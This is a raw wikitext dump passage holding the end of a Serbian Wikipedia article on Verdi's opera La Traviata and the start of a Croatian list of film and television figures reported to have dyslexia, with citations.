Zbor ciganki « ''Noi siamo zingarelle'' » - II čin * Zbor matadaora « ''Di Madride noi siami mattadori'' » - II čin * Arija « ''Addio del passato'' » (Violetta) - III čin * Duet « ''Parigi, o cara'' » (Violetta, Alfredo) - III čin * Duet « ''Gran Dio, morir si giovine'' » (Violetta, Alfredo) - III čin </div> }} '''Travijata''' ({{jez-ita|La Traviata}}) je [[opera]] u tri čina [[Italija|italijanskog]] [[kompozitor]]a [[Đuzepe Verdi|Đuzepa Verdija]]. [[Libreto]] je napisao [[Frančesko Marija Pjave]] prema drami ''[[Dama s kamelijama (drama)|Dama s kamelijama]]'' ({{jez-fra|La dame aux camélias}}) [[Aleksandar Dima|Aleksandra Dime]]. Premijera je održana [[6. mart]]a [[1853]], u [[Teatro la Feniče]] ({{jez-ita|Teatro la Fenice}}) u [[Venecija|Veneciji]]. Ime „travijata“ bukvalno znači „žena koja je zalutala“, ili figurativnije „ona koja je posrnula“, što je alegorija na palog anđela, [[Satana|Satanu]]. Opera je smesta postala veoma popularna i nalazi se na standardnom operskom repertoaru. U [[Sjedinjene Američke Države|SAD]] se nalazi na spisku dvadeset opera koje se najviše izvode - tačnije, na trećem mestu, odmah iza ''[[Madam Baterflaj (opera)|Madam Baterflaj]]'' i ''[[La bohème|Boema]]''. == Lica == * '''Violeta Valeri''', ''pariska kurtizana'', sopran. * '''Flora Bervoa''', ''njena prijateljica'', sopran. * '''Alfred Žermon''', ''mladić zaljubljen u Violetu'', tenor. * '''Žorž Žermon''', ''njegov otac'', bariton. * '''Gaston, Vikont od Letorjera''', ''Alfredov prijatelj'', tenor. * '''Baron Dufol''', ''Violetin zaštitnik'', bariton. * '''Markiz d'Obinji''', ''Florin prijatelj'', bas. * '''Doktor Granvil''', bas. * '''Anina''', ''Violetina služavka'', mecosopran. * '''Đuzepe''', ''Violetin sluga'', tenor. * '''Sluga kod Flore''', bariton. * '''Prijatelji i sluge Violete i Flore, maske (hor)'''. == Sinopsis == Radnja se odvija u [[Pariz]]u i okolini, prema Diminoj drami oko [[1700]]. godine, ali se najčešće postavlja (prema Verdijevoj zamisli) u vreme praizvedbe, odnosno, sredinom [[19. vek]]a. === Čin prvi === Salon u Violetinoj kući u Parizu. Violeta je organizovala zabavu da proslavi svoj povratak u društvo nakon kratkog, ali intenzivnog napada [[tuberkuloza|tuberkuloze]]. Među gostima su i njeni dugogodišnji prijatelji, a Gaston predstavlja svog prijatelja koji je zaljubljen u nju i koji je svaki dan dolazio da pita za njeno zdravlje dok je bila bolesna. Ona mu se podsmeva, ali i [[baron]]u Dufolu koji se nije interesovao za nju. On odgovara da je zna tek godinu dana, a Violeta mu se podsmeva jer je Alfred „zna tek nekoliko minuta“. Prijatelji pozivaju barona da nazdravi, ali on odbija, pa izbor pada na Alfreda. On nazdravlja lepoj Violeti i ističe da je ljubav najbitnija stvar na svetu, dok Violeta kaže da je to radost i zabava. Najednom, Violeti pozli i ona goste pošalje u drugu salu na igru dok ona dođe sebi. Alfred dolazi i izjavljuje Violeti ljubav. Ona ga odvraća od toga, jer misli da je nesposobna da voli i da njemu, poštenom mladiću, ne priliči da bude sa jednom [[kurtizana|kurtizanom]]. Ipak, daje Alfredu cvet [[kamelija|kamelije]] i kaže mu da ga donese kada svene. Alfred srećan odlazi, a i gosti napuštaju zabavu jer već sviće. Violeta ostaje sama i čudi se kakva se to osećanja bude u njoj. Ona odbacuje ljubav kao ludost i veliča radost i zabavu, ali joj se stalno vraćaju Alfredove reči da je „ljubav samo bilo svemira“. === Čin drugi === ==== Scena prva ==== Seosko imanje kraj Pariza. Alfred i Violeta su već tri meseca zajedno i napustili su vrevu Pariza da uživaju u samoći i ljubavi. Ipak, Alfred otkriva da Violeta tajno rasprodaje svoju imovinu da bi Alfredu pružila raskošni život koji zaslužuje i on postiđen odlazi za Pariz da podigne svoj novac iz [[banka|banke]]. U kuću dolazi Alfredov otac, Žorž, koji od Violete traži ogromnu žrtvu: da napusti Alfreda jer njena loša reputacija donosi sramotu njegovoj porodici i njegovoj kćeri, koja neće moći da se uda zbog toga. Violeta je očajna i preklinje Žorža da je ne tera na to, jer je tek pronašla pravu ljubav i ako ostane bez nje, umreće. Ipak, ona pristaje. Žorž odlazi, a Violeta piše oproštajno pismo Alfredu, u kojem ne navodi pravi razlog odlaska. Ona odlazi u Pariz da pokuša da zaboravi Alfreda, ali on kreće za njom da se sveti uprkos očevim molbama. ==== Scena druga ==== Zabava-[[maskenbal]] kod Flore. Razlaz Violete i Alfreda glavna je tema ogovaranja. Violeta dolazi u pratnji barona Dufola, a i Alfred je tu. On misli da ga je Violeta napustila zbog barona i on mu besno prebacuje u igri kartama. U nameri da zaštiti Alfreda od baronovog besa ona ga nagovara da ode. Skriva od njega pravi razlog što ga je ostavila i laže da je zbog ljubavi prema baronu. On je pred svima optužuje da je bila sa njim samo iz koristi i poziva sve da mu budu svedoci da joj on plaća za njene usluge. Baca joj u lice novac koje je osvojio u kartama. Svi su ogorčeni njegovim postupkom i osuđuju ga, baron ga izaziva na [[dvoboj]], a pojavljuje se i Žorž Žermon koji govori da je nedostojan onaj koji „čak i u besu povredi ženu“. Violeta Alfreda moli da joj oprosti i da će jednom znati kakvu žrtvu ona čini i tada će sve shvatiti. === Čin treći === Violetina spavaća soba. Teško bolesna od tuberkuloze, Violeta je sama i napuštena od sviju. Kraj nje je samo Anina. Dolazi [[doktor]] Granvil i ubeđuje je da će ozdraviti, ali ona zna da to nije istina. Dobija pismo od Žorža Žermona, koji poručuje da je baron ranjen, a da je Alfred u bekstvu. On joj obećava da će mu sve reći i da je čeka bolja budućnost. Ona je očajna, u strahu da će umreti sama, da na [[grob]] jedne posrnule žene niko neće staviti ni cvet. No, Alfred se pojavljuje i, pošto mu je otac sve objasnio, oprašta joj. Violeta i Alfred govore o novom životu koji ih čeka. Ali, za Violetu je kasno i ona umire na rukama voljenog Alfreda. == Poznate muzičke numere == * '''Zdravica „Pijmo, nek' pesma nam bude u duši“''' ({{jez-ita|Libiamo ne'lieti calici}}), prvi čin. * '''Violetina arija „Oh, možda je on“''' ({{jez-ita|Ah! Fors'e lui}}), prvi čin. * '''Alfredova arija „Kad nisam kraj nje“'''({{jez-ita|Lunge da lei}}), drugi čin. * '''Žoržova arija „Zar ti više nije drag“''' ({{jez-ita|Di Provenza il mare, il suol}}), drugi čin. * '''Igra andalužanki i matadora''', drugi čin. * '''„Pozvah ga ja da dođe“''' ({{jez-ita|Invitato qui seguirmi}}), finale drugog čina. * '''Violetina arija „Zbogom, dani prošli“''' ({{jez-ita|Addio del passato}}), treći čin. == Vanjske veze == {{commonscat|La traviata}} * [http://opera.stanford.edu/iu/libretti/traviata.html Libreto ove opere.] {{Webarchive|url=https://web.archive.org/web/20090131193155/http://opera.stanford.edu/iu/libretti/traviata.html |date=2009-01-31 }} * [http://www.dlib.indiana.edu/variations/scores/bhr7293/large/index.html Klavirski izvod ''Travijate''.] * [http://www.dlib.indiana.edu/variations/scores/bfk3821/large/index.html Partitura ''Travijate''.] {{Verdijev opus}} {{Authority control}} {{DEFAULTSORT:Traviata, La}} [[Kategorija:Opere 1853.]] [[Kategorija:Giuseppe Verdi]] [[Kategorija:Opere na italijanskom jeziku]] [[Kategorija:Italijanske opere]] adic8bgkg8emwvw27x1vqu7a476q3ee 0 232197 42602673 42590454 2026-05-28T04:53:51Z InternetArchiveBot 155863 Rescuing 2 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602673 wikitext text/x-wiki Popis poznatih osoba kojima je dijagnosticirana [[disleksija]] ili za koje se općenito pretpostavlja da ju imaju. == Film, televizija == {{col-begin}} {{col-3}} * [[Bojan Navojec]], hrvatski glumac<ref name="hud">HUD, [http://www.hud.hr/w-tekstovi/w-poznati.html Poznati dislektičari] {{Webarchive|url=https://web.archive.org/web/20120828202046/http://www.hud.hr/w-tekstovi/w-poznati.html |date=2012-08-28 }}</ref> * [[Anthony Andrews]], engleski glumac<ref>BDA, [http://www.bdadyslexia.org.uk/about-dyslexia/famous-dyslexics.html The British Dyslexia Association - Famous Dyslexics] {{Webarchive|url=https://web.archive.org/web/20140714004805/http://www.bdadyslexia.org.uk/about-dyslexia/famous-dyslexics.html |date=2014-07-14 }}</ref> * [[Abhishek Bachchan]], hollywoodski glumac<ref>Times of India, [http://timesofindia.indiatimes.com/Entertainment/India_Buzz/Aamir_praises_Abhishek/articleshow/2631936.cms Aamir praises Abhishek], 19. prosinca 2007.</ref> * [[Robert Benton]], američki [[scenarist]] i filmski redatelj<ref>Philadelphia Inquirer, His love of lit led director to Roth tale, 2. studenog 2003, str. H09</ref> * [[Orlando Bloom]], britanski filmski glumac<ref name="files">The Orlando Bloom Files, [http://www.theorlandobloomfiles.com/articles/j1404march.html Learning Disability] {{Webarchive|url=https://web.archive.org/web/20070603094801/http://www.theorlandobloomfiles.com/articles/j1404march.html |date=2007-06-03 }}</ref> * [[Marcus Brigstocke]], engleski komičar i satiričar<ref>Keating, Matt, [http://www.guardian.co.uk/education/2007/nov/06/burlesque.news?gusrc=rss&feed=global The funny side to dyslexia], The Guardian, 6. studenog 2007.</ref> * [[Stephen J. Cannell]], američki televizijski producent, scenarist i [[roman]]opisac<ref name="dudikoff">{{Cite web |url=http://www.dudikoff.de/english/artikel03.htm |title=Cannell Helps "Cobra" Star Find Ways Around Dyslexia |access-date=2013-07-12 |archive-date=2023-12-16 |archive-url=https://web.archive.org/web/20231216013125/http://www.dudikoff.de/english/artikel03.htm |url-status=dead }}</ref> * [[Amy Childs]], model i sudionica ''[[reality show]]''a<ref>Ross, Deborah, [http://www.independent.co.uk/news/people/profiles/amy-childs-i-dont-bitch-about-no-one-7658208.html Amy Childs: 'I don't bitch about no one'], The Independent, 21. travnja 2012.</ref> * [[Tom Cruise]], američki glumac<ref>MSN, [http://www.msnbc.msn.com/id/7968809/ Cruise credits Scientology for his success]</ref> * [[John de Lancie]], američki glumac<ref>Gaudin, Sharon, [http://www.timesonline.co.uk/tol/news/uk/scotland/article578354.ece Star Trek's 'Q' Says Science Fiction And Technology Can Change The World] {{Webarchive|url=https://web.archive.org/web/20231216195820/http://www.timesonline.co.uk/tol/news/uk/scotland/article578354.ece |date=2023-12-16 }}, InformationWeek, 21. ožujka 2007.</ref> * [[Patrick Dempsey]], američki glumac<ref>Medicine.net, [http://www.medicinenet.com/script/main/art.asp?articlekey=60267 Patrick Dempsey Reveals His Dyslexia] {{Webarchive|url=https://web.archive.org/web/20080103102858/http://www.medicinenet.com/script/main/art.asp?articlekey=60267 |date=2008-01-03 }}</ref> * [[Michael Dudikoff]], američki glumac<ref name="dudikoff" /> * [[Fannie Flagg]], komičarka i spisateljica<ref>CNN, [http://www.cnn.com/books/news/9901/12/flagg/ High hurdles didn't stop Fannie Flagg]</ref> * [[Ben Fogle]], engleski televizijski voditelj<ref>Appleyard, Diana, [http://www.dailymail.co.uk/femail/article-1201899/Me-school-photo-Ben-Fogle-remembers-homesick-boarding-school-days-struggled-dyslexia.html Me and my school photo: Ben Fogle remembers his homesick boarding school days and how he struggled with dyslexia], Daily Mail</ref> * [[Jeremy Brett]], engleski glumac<ref>Sherlochology, [http://sherlockology.tumblr.com/post/12699826571/jeremybrett-part1 A Tribute to Jeremy Brett]</ref> * [[Whoopi Goldberg]], američka glumica i komičarka<ref>American Academy of Achievement, [http://www.achievement.org/autodoc/page/gol0int-2 The One-Woman Show] {{Webarchive|url=https://web.archive.org/web/20120607065056/http://www.achievement.org/autodoc/page/gol0int-2 |date=2012-06-07 }}, 17. lipnja 1994.</ref><ref>Wilmington Morning Star, [http://news.google.com/newspapers?id=geEyAAAAIBAJ&sjid=DBQEAAAAIBAJ&dq=whoopi%20goldberg%20dyslexia&pg=6458%2C265325 Dyslexia Didn't Stop Her], 17. ožujka 1987.</ref> * [[Fae Ellington]], javna osoba i predavačica iz [[Jamajka|Jamajke]]<ref name='JGN-Ellington'>Ustanny, Avia, [http://jamaica-gleaner.com/gleaner/20051218/out/out1.html Fae Ellington - Transforming every day] {{Webarchive|url=https://web.archive.org/web/20100924091357/http://www.jamaica-gleaner.com/gleaner/20051218/out/out1.html |date=2010-09-24 }}, Jamaica Gleaner News, 18. prosinca 2005; Fae Ellington je besprijekorna zabavljačica, koja humorom prekriva svoju gorkoslatku životnu priču - da je djevojka koja je imala astmu, disleksiju i i koja je rođena vanbračno, ali koja je, rođena s izvanrednom osobnošću, napisala i uspješno izvela jedinstvene uloge u životu.</ref> * [[Susan Hampshire]], engleska glumica<ref>Susan Hampshire, ''Susan's Story: My Struggle With Dyslexia'' {{ISBN|0-312-77966-6}}</ref> * [[Salma Hayek]], [[Meksiko|meksičko]]-američka glumica<ref>Shaw, Gina, [http://www.webmd.com/parenting/features/salma-hayek-mom-on-a-mission?page=3 Salma Hayek: Mom on a Mission], WebMD the Magazine, 25. veljače 2012.</ref><ref>Carr, Jay, [http://news.google.com/newspapers?id=NBJJAAAAIBAJ&sjid=qgUNAAAAIBAJ&dq=salma%20hayek%20dyslexia&pg=1236%2C525033 Salma Hayek goes 'West'], The Hour, 3. srpnja 1999., str. C5</ref> * [[Anthony Hopkins]], engleski glumac<ref>Rodas de Juarez, Celeste, [http://www.eaglelatitudes.com/current/2.html?id=165 The One and Only Anthony Hopkins] {{Webarchive|url=https://web.archive.org/web/20060521080951/http://www.eaglelatitudes.com/current/2.html?id=165 |date=2006-05-21 }}, American eagle latitudes</ref> * [[Keira Knightley]], engleska glumica<ref>Abel, Judy, [http://www.boston.com/ae/movies/articles/2005/11/06/tough_enough/ Tough Enough], 6. studenog 2005.</ref> * [[J. F. Lawton]], američki scenarist, producent i redatelj<ref>BBC News, [http://www.bbc.co.uk/cymru/deorllewin/safle/abertawe/pages/j_f_lawton.shtml J. F. Lawton]</ref> * [[Angie Le Mar]], britanska komičarka<ref>Barnett, Laura, [http://www.guardian.co.uk/culture/2012/may/01/portrait-artist-angie-le-mar-comedian?newsfeed=true Portrait of the artist: Angie Le Mar, comedian], The Guardian, 1. svibnja 2012</ref> * [[Jay Leno]], voditelj ''[[talk show]]a'' i komičar<ref>HOME BUSINESS Magazine, [http://www.money-at-home.com/jayleno.htm Jay Leno: Leading With His Chin Success Secrets from the Host of The Tonight Show] {{Webarchive|url=https://web.archive.org/web/20170829110645/http://www.money-at-home.com/jayleno.htm |date=2017-08-29 }}</ref> * [[Brian Conley]], engleski komičar<ref>Helicar, M., [http://www.dailymail.co.uk/tvshowbiz/article-1201794/I-look-like-mum-Brian-Conley-slips-frock-size-10-stilettos-Hairspray.html I look like my mum! Brian Conley slips into a frock and size 10 stilettos for Hairspray], Mail Online, 23. srpnja 2009.</ref> * [[James Whale]], britanski radijski i televizijski voditelj<ref>LBC.com, [http://www.lbc.co.uk/page-4001/entry/97/1937 God you're smelly! Now I know why.]{{Dead link|date=August 2021 |bot=InternetArchiveBot |fix-attempted=yes }}, post J. Whalea od 15. siječnja 2009.</ref> * [[Billy Connolly]], škotski komičar, glazbenik i glumac<ref>Thompson, B., [http://www.independent.co.uk/arts-entertainment/comedy--king-of-comedy-comes-back-home-1434469.html Comedy / King of comedy comes back home], The Independent, 8. svibnja 1994.</ref> * [[Lara Flynn Boyle]], američka glumica<ref>Diamond, J., [http://www.nytimes.com/2002/06/27/garden/at-home-with-lara-flynn-boyle-tough-cookie-snug-retreat.html?pagewanted=all&src=pm Lara Flynn Boyle: Tough Cookie, Snug Retreat], NY Times, 27. lipnja 2002.</ref> * [[Dustin Hoffman]], američki glumac<ref>Squires, G., McKeown, S., Aslam, I., Supporting Children with Dyslexia, Continuum International Publishing Group Ltd., 2006.</ref> * [[Harrison Ford]], američki glumac<ref>Goldish, M., Everything You Need to Know About Dyslexia, The Rosen Publishing Group, 2001.</ref> * [[Robin Williams]], američki glumac<ref>Nosek, K., Dyslexia in Adults: Taking Charge of Your Life, Taylor Trade Publications, 1997.</ref> * [[Felicity Kendal]], engleska glumica<ref>Kendal, F., White Cargo, Penguin Books, 1999., {{ISBN|978-0-14-027158-4}}</ref> * Anthea Turner, engleska voditeljica i javna osoba<ref>Cox, L., [http://www.dailymail.co.uk/tvshowbiz/article-2269904/Anthea-Turners-struggles-dyslexia-Dancing-Ice-contestant-mixed-left-right-routine.html My struggles with dyslexia], Daily Mail, 29. siječnja 2013.</ref> {{col-3}} * [[Alyssa Milano]], američka glumica<ref>Behar, Joy, The Joy Behar Show, HLN, 21. travnja 2010.</ref><ref>Contact Music, [http://www.contactmusic.com/new/xmlfeed.nsf/story/gielgud-tip-helps-dyslexic-alyssa Alyssa Milano - Gielgud Tip Helps Dyslexic Alyssa] {{Webarchive|url=https://web.archive.org/web/20210305190008/https://www.contactmusic.com/alyssa-milano/news/gielgud-tip-helps-dyslexic-alyssa |date=2021-03-05 }}, 2. kolovoza 2003.</ref> * [[Jaime Murray]], engleska glumica<ref name="BBCFaces">BBC Drama Faces, [https://archive.today/20120719002153/www.bbc.co.uk/drama/faces/jaime_murray.shtml Jamie Murray]</ref> * [[Brendan O'Carroll]], [[Irska|irski]] glumac<ref>Byrne, Andrea, [http://www.independent.ie/national-news/comic-ocarrolls-grief-for-lost-child-2577538.html Comic O'Carroll's grief for lost child], Irish Independent, 13. ožujka 2011.</ref><ref>Caden, Sarah, [http://www.independent.ie/lifestyle/of-chips-and-old-blocks-484895.html Of chips and old blocks], Irish Independent, 10. listopada 2004.</ref> * [[Keanu Reeves]], [[Kanada|kanadski]] glumac<ref>Famous dyslexics, [http://www.dyslexiamentor.com/famous/famousdyslexics_026.php Famous People Who Overcame Dyslexia] {{Webarchive|url=https://web.archive.org/web/20090227022021/http://www.dyslexiamentor.com/famous/famousdyslexics_026.php |date=2009-02-27 }}</ref> * [[Iwan Rheon]], [[Wales|velški]] glumac i pjevač/tekstopisac<ref>Buzz Mag, [http://www.buzzmag.co.uk/uncategorized/iwan-rheon-interview Iwan Rheon / Interview]</ref> * [[Guy Ritchie]], engleski filmski redatelj<ref>BBC, [https://web.archive.org/web/20021030031347/http://www.bbc.co.uk/radio1/onelife/health/atoz/dyslexia.shtml Dyslexia]</ref> * [[Bryan Singer]], američki filmski redatelj<ref>Jaffee, Robert David, [http://www.njjewishnews.com/njjn.com/062906/ltFanOfSteel.html Jersey-raised director Bryan Singer lives a dream in bringing Superman back to the big screen] {{Webarchive|url=https://web.archive.org/web/20110615131745/http://www.njjewishnews.com/njjn.com/062906/ltFanOfSteel.html |date=2011-06-15 }}, New Jersey Jewish News, 2006.</ref> * [[Bella Thorne]], američka glumica<ref>American Cheerleader Magazine, [http://www.americancheerleader.com/2010/04/time-out-with-big-loves-bella-thorne/ Time Out with 'Big Love's' Bella Thorne] {{Webarchive|url=https://web.archive.org/web/20101130150633/http://www.americancheerleader.com/2010/04/time-out-with-big-loves-bella-thorne/ |date=2010-11-30 }}</ref> * [[Kara Tointon]], engleska glumica<ref>Robertson, Colin, [http://www.thesun.co.uk/sol/homepage/showbiz/tv/soaps/3071892/EastEnders-Kara-Tointon-bravely-admits-having-reading-age-of-12.html TV Kara: I have a reading age of 12], The Sun, 27. srpnja</ref> * [[Lindsay Wagner]], američka glumica<ref>USAToday.com, [http://www.usatoday.com/news/health/spotlight/2002/05/01-wagner.htm Lindsay Wagner defeats dyslexia], 1. svibnja 2002.</ref> * [[Toyah Wilcox]], engleska glumica i pjevačica<ref>Henwood, Chris, [http://www.birminghammail.net/news/top-stories/2011/04/27/brummie-queen-of-pop-toyah-wilcox-talks-about-her-struggle-with-dyslexia-97319-28588120/ Brummie queen of pop Toyah Wilcox talks about her struggle with dyslexia] {{Webarchive|url=https://web.archive.org/web/20110501095310/http://www.birminghammail.net/news/top-stories/2011/04/27/brummie-queen-of-pop-toyah-wilcox-talks-about-her-struggle-with-dyslexia-97319-28588120/ |date=2011-05-01 }}, Birmingham Mail, 27. travnja</ref> * [[Henry Winkler]], američki glumac i glasnogovornik zaklade ''Dyslexia''<ref>The Bubble Burst, [http://www.thebubbleburst.co.uk/bb.php?entry=Henry%20Winkler Biography] {{Webarchive|url=https://web.archive.org/web/20070928201235/http://www.thebubbleburst.co.uk/bb.php?entry=Henry%20Winkler |date=2007-09-28 }}</ref> * [[Frankie Cocozza]], sudionik "X Factora", zabavljač * [[Danny Glover]], američki glumac<ref>Cooper, Chet, [http://abilitymagazine.com/glover_interview.html Actor and Activist], Danny Glover, ABILITY Magazine</ref> * [[Oliver Reed]], engleski glumac<ref>Lee, Luaine, [http://articles.chicagotribune.com/1987-10-23/entertainment/8703200312_1_oliver-reed-indian-ocean-channel-islands Oliver Reed: One Among Many Pretenders] {{Webarchive|url=https://web.archive.org/web/20160305002138/http://articles.chicagotribune.com/1987-10-23/entertainment/8703200312_1_oliver-reed-indian-ocean-channel-islands |date=2016-03-05 }}, Chicago Tribune, 23. listopada 1987.</ref> * [[Billy Bob Thornton]], američki glumac i scenarist<ref>Tyler, Josh, [http://www.cinemablend.com/new/SXSW-Billy-Bob-Thornton-On-Where-Movies-And-America-Went-Wrong-8174.html SXSW: Billy Bob Thornton On Where Movies And America Went Wrong] {{Webarchive|url=https://web.archive.org/web/20170116160710/http://www.cinemablend.com/new/SXSW-Billy-Bob-Thornton-On-Where-Movies-And-America-Went-Wrong-8174.html |date=2017-01-16 }}, Cinema Blend, 14. ožujka 2008.</ref> * [[Joe Pantoliano]], američki glumac<ref>Kugel, Allison, [http://www.pr.com/article/1171 Actor Joe Pantoliano is Talking About Depression & Mental Illness... and He Hopes You Will Too], PR.com, 24. siječnja 2011.</ref> * [[Tom Smothers]], američki komičar, kompozitor i glazbenik<ref>Rypka, Marsala, [http://www.smothersbrothers.com/press_room/upclose.html Up Close and Personal] {{Webarchive|url=https://web.archive.org/web/20120805202009/http://www.smothersbrothers.com/press_room/upclose.html |date=2012-08-05 }}, The Las Vegas Magazine</ref> * [[Vince Vaughn]], američki filmski glumac, scenarist, producent i aktivist<ref>Poulos, Stacy, [http://news.dyslexia.tv/2010/01/07/vince-vaughn-actor-and-comedian.aspx Vince Vaughn Actor and Comedian] {{Webarchive|url=https://web.archive.org/web/20120902040007/http://news.dyslexia.tv/2010/01/07/vince-vaughn-actor-and-comedian.aspx |date=2012-09-02 }}, Dyslexia.tv</ref> * [[Loretta Young]], američka glumica<ref>Swarbrick, Jody, Marshall, Abigail [http://books.google.hr/books?id=2PdCvVMi8XMC&pg=PA279&lpg=PA279&dq=loretta+young+dyslexia&source=bl&ots=WMjkIoHoWe&sig=nTxKEwtjcejFrNBX4W3vpynSrog&hl=en&redir_esc=y#v=onepage&q=loretta%20young%20dyslexia&f=false The Everything Parent's Guide To Children With Dyslexia] {{Webarchive|url=https://web.archive.org/web/20160310194128/https://books.google.hr/books?id=2PdCvVMi8XMC&pg=PA279&lpg=PA279&dq=loretta+young+dyslexia&source=bl&ots=WMjkIoHoWe&sig=nTxKEwtjcejFrNBX4W3vpynSrog&hl=en&redir_esc=y#v=onepage&q=loretta%20young%20dyslexia&f=false |date=2016-03-10 }}, Adams Media, 2004.</ref> * Sally Hawkins, engleska glumica<ref>The Independent, [http://www.independent.co.uk/arts-entertainment/films/features/the-lucky-star-with-reasons-to-be-cheerful-2087608.html?origin=internalSearch The lucky star with reasons to be cheerful], 24. rujna 2010.</ref> * [[Walt Disney]], američki crtač [[Animirani film|animiranog filma]] i producent<ref>[http://www.in-spite-of.org/walt-disney-learning-disabilities/ How Walt Disney Overcame Learning Disabilities] {{Webarchive|url=https://web.archive.org/web/20130116082940/http://www.in-spite-of.org/walt-disney-learning-disabilities/ |date=2013-01-16 }}, Inspiteof</ref> * [[Søren Kragh-Jacobsen]], [[Danska|danski]] filmski redatelj, glazbenik i tekstopisac<ref>Skotte, Kim, [http://www.dfi.dk/Service/English/News-and-publications/FILM-Magazine/Artikler-fra-tidsskriftet-FILM/62/Democracy-Isnt-Free.aspx Democracy isn't Free]</ref> * [[Kristian Digby]], engleski televizijski voditelj i redatelj<ref>[http://news.bbc.co.uk/2/hi/entertainment/8545370.stm Kristian Digby discusses dyslexia], 2. ožujka 2010.</ref> * [[Margaux Hemingway]], američka glumica i model, unuka [[Ernest Hemingway|Ernesta Hemingwaya]]<ref>Schneider, K., [http://www.people.com/people/archive/article/0,,20141773,00.html A Life Eclipsed] {{Webarchive|url=https://web.archive.org/web/20120628185435/http://www.people.com/people/archive/article/0,,20141773,00.html |date=2012-06-28 }}, People, 15. srpnja 1996.</ref> * [[Dave Foley]], kanadski komičar, pisac, redatelj i producent<ref>Plume, K., [http://www.ign.com/articles/2002/04/15/interview-with-dave-foley Interview with Dave Foley], IGN Entertainment, 15. travnja 2002.</ref> * [[Sylvester Stallone]], američki glumac, scenarist, producent i redatelj<ref>Famous Dyslexic People, [http://www.famousdyslexicpeople.com/531/sylvester-stallone/ Sylvester Stallone] {{Webarchive|url=https://web.archive.org/web/20130120131146/http://www.famousdyslexicpeople.com/531/sylvester-stallone/ |date=2013-01-20 }}</ref> * [[Ben Elton]], englesko-australski komičar, pisac, dramatičar i redatelj<ref>Ware Literary Festival 2012, [http://www.thegreatbedofwords.co.uk/About-Us.html About Us - The Directors] {{Webarchive|url=https://web.archive.org/web/20130303085419/http://www.thegreatbedofwords.co.uk/About-Us.html |date=2013-03-03 }}, preuzeto 13. ožujka 2013.</ref> * [[Nicolas Winding Refn]], filmski redatelj<ref>The Independent, [http://www.independent.co.uk/arts-entertainment/films/features/nicolas-winding-refn-when-the-chance-came-i-stuck-the-knife-into-lars-von-trier-2352550.html Nicolas Winding Refn: 'When the chance came, I stuck the knife into Lars von Trier'] {{Webarchive|url=https://web.archive.org/web/20120906204310/http://www.independent.co.uk/arts-entertainment/films/features/nicolas-winding-refn-when-the-chance-came-i-stuck-the-knife-into-lars-von-trier-2352550.html |date=2012-09-06 }}, 11. rujna 2011.</ref> {{col-3}} * [[Fred Astaire]], američki filmski glumac, plesač i pjevač<ref>Adler, Bill, Fred Astaire: a wonderful life : a biography, Landmark Books, 1988.</ref> * [[Zoë Wanamaker]], američko-engleska filmska i kazališna glumica<ref>Xtraordinarypeople.com, [http://www.xtraordinarypeople.com/celebrity/15/Zoe-Wanamaker/ Zoë Wanamaker] {{Webarchive|url=https://web.archive.org/web/20080708194556/http://www.xtraordinarypeople.com/celebrity/15/Zoe-Wanamaker/ |date=2008-07-08 }}</ref> * [[Eddie Izzard]], engleski komičar, glumac<ref>BBC Radio, [http://www.bbc.co.uk/programmes/b00w20zl Eddie Izzard and The Girl Who Kicked The Hornet's Nest] (snimka intervjua)</ref> * [[Bob Hoskins]], engleski glumac i redatelj<ref>Stevens, C., [http://www.dailymail.co.uk/tvshowbiz/article-2186301/He-survived-knife-attacks-eating-conquered-dyslexia-Now-Bob-Hoskins-faces-toughest-fight.html He survived knife attacks, fire-eating and even conquered dyslexia.], Mail Online, 9. kolovoza 2012.</ref> * [[Michael Barrymore]], engleski komičar<ref>Chivers, Maria, [http://books.google.hr/books?id=OuzlOgmjOM4C&pg=PA8&lpg=PA8&dq=%22Michael+Barrymore%22+dyslexic&source=bl&ots=fUMtzCJGv_&sig=qTpzF-0nn-FMFPmqxzfdCILxozg&hl=en&redir_esc=y#v=onepage&q=%22Michael%20Barrymore%22%20dyslexic&f=false Practical Strategies for Living With Dyslexia], Jessica Kingsley Publishers, 2000.</ref> * [[Marlon Brando]], američki glumac<ref>Staff, Maxim, [http://www.maxim.com/movies/last-tango-brando-island Last Tango on Brando Island]</ref> * [[Woody Harrelson]], američki glumac<ref>Bjorklund, Dennis A., [http://books.google.hr/books?id=hKbxOW2ONGEC&pg=PA68&lpg=PA68&dq=woody+harrelson+dyslexic&source=bl&ots=eKRM1TeZBe&sig=s9tn_TEyjnmNJuVchPKdtfnLmN4&hl=en&sa=X&ei=07dMUKTuMMbQsgbp74Aw&redir_esc=y#v=onepage&q=woody%20harrelson%20dyslexic&f=false Toasting Cheers: An Episode Guide] {{Webarchive|url=https://web.archive.org/web/20160311141732/https://books.google.hr/books?id=hKbxOW2ONGEC&pg=PA68&lpg=PA68&dq=woody+harrelson+dyslexic&source=bl&ots=eKRM1TeZBe&sig=s9tn_TEyjnmNJuVchPKdtfnLmN4&hl=en&sa=X&ei=07dMUKTuMMbQsgbp74Aw&redir_esc=y#v=onepage&q=woody%20harrelson%20dyslexic&f=false |date=2016-03-11 }}, Praetorian Publishing, 1997.</ref> * [[Carol Harrison]], engleska glumica i spisateljica<ref>Murray, Janet, [http://www.guardian.co.uk/education/2007/mar/06/furthereducation The screenwriting tutor], The Guardian, 6.ožujka 2007.</ref> * [[Sarah Miles]], engleska kazališna i filmska glumica<ref>Miles, Sarah, A right royal bastard, Macmillan, 1993.</ref> * [[River Phoenix]], američki glumac<ref>Ferguson, Michael, [http://books.google.hr/books?id=R4f--vTO9LIC&pg=PA244&lpg=PA244&dq=river+phoenix+dyslexic&source=bl&ots=1W_vkIRL32&sig=WQSnmQDS8ukLid5g3lAvNfQ9oZQ&hl=en&sa=X&ei=xr9MUJqGEsjgtQaohYGwDA&redir_esc=y#v=onepage&q=river%20phoenix%20dyslexic&f=false Idol Worship: A Shameless Celebration of Male Beauty in the Movies], STARbooks Press, 2004.</ref> * [[Beryl Reid]], engleska kazališna i filmska glumica<ref>Banks, M., Swift, A., The joke's on us: women in comedy from music hall to the present day, Pandora 1987.</ref> * [[Kirsty Alsopp]], engleska televizijska voditeljica<ref>Gordon, Jane, [http://www.dailymail.co.uk/home/you/article-1102984/Property-expert-Kirstie-Allsopp-8217-s-revamped-home-truths.html Kirstie Allsopp’s home truths], Mail Online, 30. prosinca 2008.</ref> * [[Steven Spielberg]], američki redatelj<ref>Dyslexic Advantage, [http://dyslexicadvantage.com/video/dyslexia-hidden-disability Film Director Steven Spielberg and Dyslexia], 19. rujna 2011.</ref><ref>The Huffington Post, 